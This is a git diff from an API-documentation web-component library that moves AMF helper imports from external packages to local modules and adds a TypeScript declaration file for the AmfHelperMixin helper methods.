+/** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../helpers/api').ApiServer} ApiServer */
+/** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
+/** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
 /** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioGroupElement} AnypointRadioGroupElement */
 /** @typedef {import('../types').OperationParameter} OperationParameter */
 
diff --git a/src/elements/ApiRequestEditorElement.d.ts b/src/elements/ApiRequestEditorElement.d.ts
index 8d99c0f..d7eeeec 100644
--- a/src/elements/ApiRequestEditorElement.d.ts
+++ b/src/elements/ApiRequestEditorElement.d.ts
@@ -13,12 +13,13 @@ the License.
 */
 import { TemplateResult, LitElement } from 'lit-element';
 import { EventsTargetMixin } from '@advanced-rest-client/events-target-mixin';
-import { AmfHelperMixin, AmfSerializer } from '@api-components/amf-helper-mixin';
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
+import { AmfSerializer } from '../helpers/AmfSerializer';
 import { Oauth2Credentials } from '@advanced-rest-client/authorization';
-import { ApiEndPoint, ApiOperation, ApiPayload, ApiParameter, ApiServer, Operation, AmfDocument } from '@api-components/amf-helper-mixin';
-import { ServerType } from '@api-components/api-server-selector';
+import { ApiEndPoint, ApiOperation, ApiPayload, ApiParameter, ApiServer } from '../helpers/api';
+import { Operation, AmfDocument } from '../helpers/amf';
 import { AmfParameterMixin } from '../lib/AmfParameterMixin';
-import { SecuritySelectorListItem, ApiConsoleRequest, OperationParameter } from '../types';
+import { SecuritySelectorListItem, ApiConsoleRequest, OperationParameter, ServerType } from '../types';
 
 export const EventCategory: string;
 
diff --git a/src/elements/ApiRequestEditorElement.js b/src/elements/ApiRequestEditorElement.js
index e6987f6..59e4469 100644
--- a/src/elements/ApiRequestEditorElement.js
+++ b/src/elements/ApiRequestEditorElement.js
@@ -17,7 +17,6 @@ the License.
 import { html, LitElement } from 'lit-element';
 import { classMap } from 'lit-html/directives/class-map.js';
 import { EventsTargetMixin } from '@advanced-rest-client/events-target-mixin';
-import { AmfHelperMixin, AmfSerializer } from '@api-components/amf-helper-mixin';
 import { TelemetryEvents, RequestEventTypes } from '@advanced-rest-client/arc-events';
 import { v4 } from '@advanced-rest-client/uuid-generator';
 import { HeadersParser } from '@advanced-rest-client/arc-headers';
@@ -28,7 +27,6 @@ import '@anypoint-web-components/anypoint-item/anypoint-item-body.js';
 import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js';
 import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js';
 import '@anypoint-web-components/anypoint-button/anypoint-icon-button.js';
-import '@api-components/api-server-selector/api-server-selector.js';
 import '@advanced-rest-client/body-editor/body-formdata-editor.js';
 import '@advanced-rest-client/body-editor/body-multipart-editor.js';
 import '@advanced-rest-client/body-editor/body-raw-editor.js';
@@ -45,21 +43,24 @@ import { AmfInputParser } from '../lib/AmfInputParser.js';
 import * as InputCache from '../lib/InputCache.js';
 import { RequestEvents } from '../events/RequestEvents.js';
 import { EventTypes } from '../events/EventTypes.js';
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
+import { AmfSerializer } from '../helpers/AmfSerializer.js';
 import '../../api-authorization-editor.js';
+import '../../api-server-selector.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('@advanced-rest-client/arc-types').ApiTypes.ApiType} ApiType */
 /** @typedef {import('@advanced-rest-client/authorization').Oauth2Credentials} Oauth2Credentials */
 /** @typedef {import('@advanced-rest-client/body-editor').BodyRawEditorElement} BodyRawEditorElement */
 /** @typedef {import('@advanced-rest-client/body-editor').BodyFormdataEditorElement} BodyFormdataEditorElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */
-/** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
+/** @typedef {import('../helpers/api').ApiOperation} ApiOperation */
+/** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
+/** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
+/** @typedef {import('../helpers/api').ApiServer} ApiServer */
+/** @typedef {import('../helpers/amf').Operation} Operation */
+/** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../helpers/api').ApiScalarNode} ApiScalarNode */
 /** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */
 /** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioGroupElement} AnypointRadioGroupElement */
 /** @typedef {import('@anypoint-web-components/anypoint-input').AnypointInput} AnypointInput */
diff --git a/src/elements/ApiRequestElement.d.ts b/src/elements/ApiRequestElement.d.ts
index 5cfd0d5..cc6add7 100644
--- a/src/elements/ApiRequestElement.d.ts
+++ b/src/elements/ApiRequestElement.d.ts
@@ -13,11 +13,10 @@ the License.
 */
 import { TemplateResult, LitElement } from 'lit-element';
 import { EventsTargetMixin } from '@advanced-rest-client/events-target-mixin';
-import { AmfDocument } from '@api-components/amf-helper-mixin';
+import { AmfDocument } from '../helpers/amf';
 import { ArcResponse, ArcRequest, ApiTypes } from '@advanced-rest-client/arc-types';
 import { Oauth2Credentials } from '@advanced-rest-client/authorization';
-import { ServerType } from '@api-components/api-server-selector';
-import { ApiConsoleResponse, ApiConsoleRequest } from '../types';
+import { ServerType, ApiConsoleResponse, ApiConsoleRequest } from '../types';
 import { ApiRequestEvent, ApiResponseEvent } from '../events/RequestEvents';
 
 export const selectedValue: unique symbol;
diff --git a/src/elements/ApiRequestElement.js b/src/elements/ApiRequestElement.js
index 535e5d9..1ae0e0d 100644
--- a/src/elements/ApiRequestElement.js
+++ b/src/elements/ApiRequestElement.js
@@ -29,8 +29,8 @@ import '../../api-response-view.js';
 /** @typedef {import('@advanced-rest-client/arc-types').ArcRequest.TransportRequest} TransportRequest */
 /** @typedef {import('@advanced-rest-client/arc-types').ApiTypes.ApiType} ApiType */
 /** @typedef {import('@advanced-rest-client/authorization').Oauth2Credentials} Oauth2Credentials */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/api-server-selector').ServerType} ServerType */
+/** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../types').ServerType} ServerType */
 /** @typedef {import('../types').ApiConsoleRequest} ApiConsoleRequest */
 /** @typedef {import('../types').ApiConsoleResponse} ApiConsoleResponse */
 /** @typedef {import('../events/RequestEvents').ApiRequestEvent} ApiRequestEvent */
diff --git a/src/elements/ApiResourceDocumentElement.js b/src/elements/ApiResourceDocumentElement.js
index cc3cdd3..4a91dec 100644
--- a/src/elements/ApiResourceDocumentElement.js
+++ b/src/elements/ApiResourceDocumentElement.js
@@ -17,13 +17,13 @@ import '../../api-operation-document.js'
 import '../../api-parameter-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */
-/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */
-/** @typedef {import('@api-components/api-server-selector').ServerType} ServerType */
+/** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
+/** @typedef {import('../helpers/amf').EndPoint} EndPoint */
+/** @typedef {import('../helpers/api').ApiServer} ApiServer */
+/** @typedef {import('../helpers/api').ApiOperation} ApiOperation */
+/** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
+/** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../types').ServerType} ServerType */
 /** @typedef {import('./ApiRequestElement').default} ApiRequestPanelElement */
 /** @typedef {import('../types').ApiConsoleRequest} ApiConsoleRequest */
 
diff --git a/src/elements/ApiResponseDocumentElement.js b/src/elements/ApiResponseDocumentElement.js
index b42f0de..fd2153f 100644
--- a/src/elements/ApiResponseDocumentElement.js
+++ b/src/elements/ApiResponseDocumentElement.js
@@ -21,11 +21,11 @@ import {
 } from './ApiDocumentationBase.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiResponse} ApiResponse */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */
-/** @typedef {import('@api-components/amf-helper-mixin').Response} Response */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiTemplatedLink} ApiTemplatedLink */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiIriTemplateMapping} ApiIriTemplateMapping */
+/** @typedef {import('../helpers/api').ApiResponse} ApiResponse */
+/** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
+/** @typedef {import('../helpers/amf').Response} Response */
+/** @typedef {import('../helpers/api').ApiTemplatedLink} ApiTemplatedLink */
+/** @typedef {import('../helpers/api').ApiIriTemplateMapping} ApiIriTemplateMapping */
 /** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioGroupElement} AnypointRadioGroupElement */
 
 export const queryResponse = Symbol('queryResponse');
diff --git a/src/elements/ApiSchemaDocumentElement.js b/src/elements/ApiSchemaDocumentElement.js
index 8c26237..bdb27ab 100644
--- a/src/elements/ApiSchemaDocumentElement.js
+++ b/src/elements/ApiSchemaDocumentElement.js
@@ -2,13 +2,13 @@
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-element';
 import { classMap } from "lit-html/directives/class-map";
-import { ns } from '@api-components/amf-helper-mixin';
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
 import { ApiSchemaGenerator } from '@api-components/api-schema';
 import '@advanced-rest-client/highlight/arc-marked.js';
 import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js';
 import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js';
 import { chevronRight } from '@advanced-rest-client/arc-icons';
+import { ns } from '../helpers/Namespace.js';
 import commonStyles from './styles/Common.js';
 import elementStyles from './styles/ApiSchema.js';
 import schemaStyles from './styles/SchemaCommon.js';
@@ -33,19 +33,19 @@ import {
 } from './ApiDocumentationBase.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').Shape} Shape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShape} ApiShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiExample} ApiExample */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiFileShape} ApiFileShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSchemaShape} ApiSchemaShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiTupleShape} ApiTupleShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiPropertyShape} ApiPropertyShape */
+/** @typedef {import('../helpers/amf').Shape} Shape */
+/** @typedef {import('../helpers/api').ApiShape} ApiShape */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiExample} ApiExample */
+/** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../helpers/api').ApiUnionShape} ApiUnionShape */
+/** @typedef {import('../helpers/api').ApiFileShape} ApiFileShape */
+/** @typedef {import('../helpers/api').ApiSchemaShape} ApiSchemaShape */
+/** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
+/** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../helpers/api').ApiTupleShape} ApiTupleShape */
+/** @typedef {import('../helpers/api').ApiPropertyShape} ApiPropertyShape */
 /** @typedef {import('@api-components/api-schema').SchemaExample} SchemaExample */
 
 export const mimeTypeValue = Symbol('mimeTypeValue');
diff --git a/src/elements/ApiSecurityDocumentElement.js b/src/elements/ApiSecurityDocumentElement.js
index 265bc3b..21b2969 100644
--- a/src/elements/ApiSecurityDocumentElement.js
+++ b/src/elements/ApiSecurityDocumentElement.js
@@ -1,11 +1,11 @@
 /* eslint-disable no-param-reassign */
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-element';
-import { ns } from '@api-components/amf-helper-mixin';
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
 import '@advanced-rest-client/highlight/arc-marked.js';
 import '@anypoint-web-components/anypoint-tabs/anypoint-tab.js';
 import '@anypoint-web-components/anypoint-tabs/anypoint-tabs.js';
+import { ns } from '../helpers/Namespace.js';
 import { 
   ApiDocumentationBase, 
   paramsSectionTemplate, 
@@ -20,16 +20,16 @@ import '../../api-parameter-document.js';
 import '../../api-response-document.js'
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityScheme} ApiSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityApiKeySettings} ApiSecurityApiKeySettings */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOpenIdConnectSettings} ApiSecurityOpenIdConnectSettings */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOAuth2Settings} ApiSecurityOAuth2Settings */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOAuth2Flow} ApiSecurityOAuth2Flow */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityScope} ApiSecurityScope */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiResponse} ApiResponse */
-/** @typedef {import('@api-components/amf-helper-mixin').SecurityScheme} SecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
+/** @typedef {import('../helpers/api').ApiSecurityScheme} ApiSecurityScheme */
+/** @typedef {import('../helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
+/** @typedef {import('../helpers/api').ApiSecurityApiKeySettings} ApiSecurityApiKeySettings */
+/** @typedef {import('../helpers/api').ApiSecurityOpenIdConnectSettings} ApiSecurityOpenIdConnectSettings */
+/** @typedef {import('../helpers/api').ApiSecurityOAuth2Settings} ApiSecurityOAuth2Settings */
+/** @typedef {import('../helpers/api').ApiSecurityOAuth2Flow} ApiSecurityOAuth2Flow */
+/** @typedef {import('../helpers/api').ApiSecurityScope} ApiSecurityScope */
+/** @typedef {import('../helpers/api').ApiResponse} ApiResponse */
+/** @typedef {import('../helpers/amf').SecurityScheme} SecurityScheme */
+/** @typedef {import('../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */
 
 export const querySecurity = Symbol('querySecurity');
diff --git a/src/elements/ApiSecurityRequirementDocumentElement.js b/src/elements/ApiSecurityRequirementDocumentElement.js
index b908bad..4ae228c 100644
--- a/src/elements/ApiSecurityRequirementDocumentElement.js
+++ b/src/elements/ApiSecurityRequirementDocumentElement.js
@@ -7,8 +7,8 @@ import {
 import elementStyles from './styles/ApiSecurityRequirement.js';
 import '../../api-parametrized-security-scheme.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */
-/** @typedef {import('@api-components/amf-helper-mixin').SecurityRequirement} SecurityRequirement */
+/** @typedef {import('../helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
+/** @typedef {import('../helpers/amf').SecurityRequirement} SecurityRequirement */
 
 export const securityRequirementValue = Symbol('securityRequirementValue');
 export const findSecurity = Symbol('findSecurity');
diff --git a/src/elements/ApiServerSelectorElement.d.ts b/src/elements/ApiServerSelectorElement.d.ts
index 86c0995..d8d1b1c 100644
--- a/src/elements/ApiServerSelectorElement.d.ts
+++ b/src/elements/ApiServerSelectorElement.d.ts
@@ -1,5 +1,7 @@
 import { LitElement, TemplateResult } from 'lit-element';
-import { AmfHelperMixin, ApiServer, AmfDocument } from '@api-components/amf-helper-mixin';
+import { ApiServer } from '../helpers/api';
+import { AmfDocument } from '../helpers/amf';
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
 import { ServerType, SelectionInfo, UpdateServersOptions } from '../types';
 
 export const customNodesCount: unique symbol;
diff --git a/src/elements/ApiServerSelectorElement.js b/src/elements/ApiServerSelectorElement.js
index 31245cb..159f13f 100644
--- a/src/elements/ApiServerSelectorElement.js
+++ b/src/elements/ApiServerSelectorElement.js
@@ -2,7 +2,6 @@
 /* eslint-disable no-plusplus */
 /* eslint-disable class-methods-use-this */
 import { html, LitElement } from 'lit-element';
-import { AmfHelperMixin, AmfSerializer } from '@api-components/amf-helper-mixin';
 import '@anypoint-web-components/anypoint-input/anypoint-input.js';
 import '@anypoint-web-components/anypoint-dropdown-menu/anypoint-dropdown-menu.js';
 import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js';
@@ -12,10 +11,12 @@ import { close } from '@advanced-rest-client/arc-icons/ArcIcons.js';
 import elementStyles from './styles/ServerSelector.js';
 import { ServerEvents } from '../events/ServerEvents.js';
 import { EventTypes } from '../events/EventTypes.js';
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
+import { AmfSerializer } from '../helpers/AmfSerializer.js';
 
 /** @typedef {import('lit-html').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */
+/** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../helpers/api').ApiServer} ApiServer */
 /** @typedef {import('../types').SelectionInfo} SelectionInfo */
 /** @typedef {import('../types').UpdateServersOptions} UpdateServersOptions */
 
diff --git a/src/elements/ApiSummaryElement.d.ts b/src/elements/ApiSummaryElement.d.ts
index c4a7169..f5212bf 100644
--- a/src/elements/ApiSummaryElement.d.ts
+++ b/src/elements/ApiSummaryElement.d.ts
@@ -1,10 +1,6 @@
 import { TemplateResult } from 'lit-element';
-import { 
-  ApiSummary,
-  ApiServer,
-  AsyncApi,
-  WebApi,
-} from '@api-components/amf-helper-mixin';
+import { ApiSummary, ApiServer } from '../helpers/api';
+import { AsyncApi, WebApi } from '../helpers/amf';
 import { ApiDocumentationBase } from './ApiDocumentationBase';
 import { ApiSummaryEndpoint, ApiSummaryOperation } from '../types';
 
diff --git a/src/elements/ApiSummaryElement.js b/src/elements/ApiSummaryElement.js
index 7385bba..c552028 100644
--- a/src/elements/ApiSummaryElement.js
+++ b/src/elements/ApiSummaryElement.js
@@ -15,13 +15,13 @@ import { sanitizeHTML } from '../lib/Utils.js';
 import * as UrlLib from '../lib/UrlUtils.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiDocumentation} ApiDocumentation */
-/** @typedef {import('@api-components/amf-helper-mixin').CreativeWork} CreativeWork */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSummary} ApiSummary */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */
-/** @typedef {import('@api-components/amf-helper-mixin').AsyncApi} AsyncApi */
-/** @typedef {import('@api-components/amf-helper-mixin').WebApi} WebApi */
-/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */
+/** @typedef {import('../helpers/api').ApiDocumentation} ApiDocumentation */
+/** @typedef {import('../helpers/amf').CreativeWork} CreativeWork */
+/** @typedef {import('../helpers/api').ApiSummary} ApiSummary */
+/** @typedef {import('../helpers/api').ApiServer} ApiServer */
+/** @typedef {import('../helpers/amf').AsyncApi} AsyncApi */
+/** @typedef {import('../helpers/amf').WebApi} WebApi */
+/** @typedef {import('../helpers/amf').EndPoint} EndPoint */
 /** @typedef {import('../types').ApiSummaryEndpoint} ApiSummaryEndpoint */
 /** @typedef {import('../types').ApiSummaryOperation} ApiSummaryOperation */
 
diff --git a/src/elements/SchemaCommonTemplates.js b/src/elements/SchemaCommonTemplates.js
index de0053f..465900a 100644
--- a/src/elements/SchemaCommonTemplates.js
+++ b/src/elements/SchemaCommonTemplates.js
@@ -1,19 +1,19 @@
 import { html } from "lit-element";
-import { ns } from '@api-components/amf-helper-mixin';
 import { classMap } from "lit-html/directives/class-map";
 import { ifDefined } from "lit-html/directives/if-defined";
+import { ns } from '../helpers/Namespace.js';
 import '../../api-annotation-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarNode} ApiScalarNode */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiFileShape} ApiFileShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiDataNodeUnion} ApiDataNodeUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiRecursiveShape} ApiRecursiveShape */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../helpers/api').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../helpers/api').ApiUnionShape} ApiUnionShape */
+/** @typedef {import('../helpers/api').ApiFileShape} ApiFileShape */
+/** @typedef {import('../helpers/api').ApiDataNodeUnion} ApiDataNodeUnion */
+/** @typedef {import('../helpers/api').ApiRecursiveShape} ApiRecursiveShape */
 
 /**
  * @param {string} label The label to render.
diff --git a/src/events/ApiEvents.d.ts b/src/events/ApiEvents.d.ts
index c9d118a..4de7c4e 100644
--- a/src/events/ApiEvents.d.ts
+++ b/src/events/ApiEvents.d.ts
@@ -1,4 +1,4 @@
-import { ApiSummary } from '@api-components/amf-helper-mixin';
+import { ApiSummary } from '../helpers/api';
 
 export declare interface IApiEvents {
   /**
diff --git a/src/events/ApiEvents.js b/src/events/ApiEvents.js
index 9b493b3..9087938 100644
--- a/src/events/ApiEvents.js
+++ b/src/events/ApiEvents.js
@@ -2,7 +2,7 @@
 import { EventTypes } from './EventTypes.js';
 import { ApiStoreContextEvent } from './BaseEvents.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSummary} ApiSummary */
+/** @typedef {import('../helpers/api').ApiSummary} ApiSummary */
 
 
 export const ApiEvents = {
diff --git a/src/helpers/AmfHelperMixin.d.ts b/src/helpers/AmfHelperMixin.d.ts
new file mode 100644
index 0000000..bc6a53f
--- /dev/null
+++ b/src/helpers/AmfHelperMixin.d.ts
@@ -0,0 +1,623 @@
+import { 
+  AmfDocument, AsyncApi, DomainElement, EndPoint, Operation, Parameter, Payload, Request, Response, 
+  SecurityRequirement, SecurityScheme, Server, Shape, WebApi, Api
+} from './amf';
+import { Namespace } from './Namespace';
+import { ComputeUriOptions, ServerQueryOptions, ServersQueryOptions } from './api';
+
+export {AmfHelperMixin};
+
+/**
+ * Common functions used by AMF components to compute AMF values.
+ *
+ * ## Updating API's base URI
+ *
+ * (Only applies when using `_computeUri()` function)
+ *
+ * By default the component render the documentation as it is defined
+ * in the AMF model. Sometimes, however, you may need to replace the base URI
+ * of the API with something else. It is useful when the API does not
+ * have base URI property defined (therefore this component render relative
+ * paths instead of URIs) or when you want to manage different environments.
+ *
+ * To update base URI value update the `baseUri` property.
+ *
+ * When the component constructs the final URI for the endpoint it does the following:
+ * - if `baseUri` is set it uses this value as a base uri for the endpoint
+ * - else if `amf` is set then it computes base uri value from main
+ * model document
+ * Then it concatenates computed base URI with `endpoint`'s path property.
+ */
+declare function AmfHelperMixin<T extends new (...args: any[]) => {}>(base: T): T & AmfHelperMixinConstructor;
+
+interface AmfHelperMixinConstructor {
+  new(...args: any[]): AmfHelperMixin;
+}
+
+export {AmfHelperMixinConstructor};
+
+export const expandKey: unique symbol;
+export const findAmfType: unique symbol;
+export const findReferenceObject: unique symbol;
+export const getArrayItems: unique symbol;
+
+interface AmfHelperMixin {
+
+  /**
+   * A namespace for AMF model.
+   */
+  readonly ns: Namespace;
+
+  /**
+   * Generated AMF json/ld model form the API spec.
+   * The element assumes the object of the first array item to be a
+   * type of `"http://raml.org/vocabularies/document#Document`
+   * on AMF vocabulary.
+   *
+   * It is only useful for the element to resolve references.
+   */
+  amf: AmfDocument|undefined;
+  _amf: AmfDocument|undefined;
+
+  /**
+   * This is an abstract method to be implemented by the components.
+   * If, instead, the component uses `amf` setter you must use `super.amf` to
+   * set the value.
+   * @param amf Current AMF model. Can be undefined.
+   */
+  __amfChanged(amf: AmfDocument): void
+
+  /**
+   * Returns compact model key for given value.
+   *
+   * @param property AMF original property
+   * @returns Compact model property name or the same value if
+   * value not found in the context.
+   */
+  _getAmfKey(property: string|undefined): string|undefined;
+
+  /**
+   * Ensures that the model is AMF object.
+   *
+   * @param amf AMF json/ld model
+   * @returns API spec
+   */
+  _ensureAmfModel(amf: any): AmfDocument|undefined;
+
+  /**
+   * Ensures that the value is an array.
+   * It returns undefined when there's no value.
+   * It returns the same array if the value is already an array.
+   * It returns new array of the item is not an array.
+   *
+   * @param value An item to test
+   */
+  _ensureArray<T>(value: T): T[]|undefined;
+
+  /**
+   * Ensures that the value is an array.
+   * It returns undefined when there's no value.
+   * It returns the same array if the value is already an array.
+   * It returns new array of the item is not an array.
+   *
+   * @param value An item to test
+   */
+  _ensureArray<T>(value: T[]): T[]|undefined;
+
+  /**
+   * Gets a single scalar value from a model.
+   *
+   * @param model Amf model to extract the value from.
+   * @param key Model key to search for the value
+   * @returns Value for key
+   */
+  _getValue(model: DomainElement, key: string): string|number|boolean|undefined|null;
+
+  /**
+   * Gets values from a model as an array of `@value` properties.
+   *
+   * @param model Amf model to extract the value from.
+   * @param key Model key to search for the value
+   * @returns Value for key
+   */
+  _getValueArray(model: DomainElement, key: string): Array<string|number|boolean|null>|undefined;
+
+  /**
+   * Reads an array from the model.
+   * 
+   * @param model Amf model to extract the value from.
+   * @param key Model key to search for the value
+   * @returns Value for the key
+   */
+  [getArrayItems](model: DomainElement, key: string): DomainElement[]|undefined;
+
+  /**
+   * Reads the value of the `@id` property.
+   * @param model Amf model to extract the value from.
+   * @param key Model key to search for the @id
+   */
+  _getLinkValue(model: DomainElement, key: string): string|undefined;
+
+  /**
+   * Reads the list of value for the `@id` property.
+   * @param model Amf model to extract the value from.
+   * @param key Model key to search for the `@id`
+   */
+  _getLinkValues(model: DomainElement, key: string): string[]|undefined;
+
+  /**
+   * Checks if a model has a type.
+   *
+   * @param model Model to test
+   * @param type Type name
+   * @returns True if model has a type.
+   */
+  _hasType(model: DomainElement, type: string): boolean|null;
+
+  /**
+   * Checks if a shape has a property.
+   *
+   * @param shape The shape to test
+   * @param key Property name to test
+   */
+  _hasProperty(shape: DomainElement, key: string): boolean|null;
+
+  /**
+   * Computes array value of a property in a model (shape).
+   *
+   * @param shape AMF shape object
+   * @param key Property name
+   */
+  _computePropertyArray(shape: DomainElement, key: string): Array<string|number|boolean|null|Object>|undefined;
+
+  /**
+   * Computes a value of a property in a model (shape).
+   * It takes first value of a property, if exists.
+   *
+   * @param shape AMF shape object
+   * @param key Property name
+   */
+  _computePropertyObject(shape: DomainElement, key: string): string|number|boolean|null|Object|undefined;
+
+  /**
+   * Tests if a passed argument exists.
+   *
+   * @param value A value to test
+   */
+  _computeHasStringValue(value: string|object|number): boolean;
+
+  /**
+   * Computes if passed argument is an array and has a value.
+   * It does not check for type or value of the array items.
+   *
+   * @param value Value to test
+   */
+  _computeHasArrayValue(value: any[]): boolean;
+
+  /**
+   * Computes description for a shape.
+   *
+   * @param shape AMF shape
+   * @returns Description value.
+   */
+  _computeDescription(shape: DomainElement): string|undefined;
+  /**
+   * Computes a list of headers
+   */
+  _computeHeaders(shape: DomainElement): Parameter[]|undefined|Parameter;
+
+  _computeHeaderSchema(shape: DomainElement): Parameter|undefined;
+  
+  /**
+   * Computes a list of query parameters
+   */
+  _computeQueryParameters(shape: DomainElement): Parameter[]|undefined;
+
+  /**
+   * In OAS URI parameters can be defined on an operation level under `uriParameter` property.
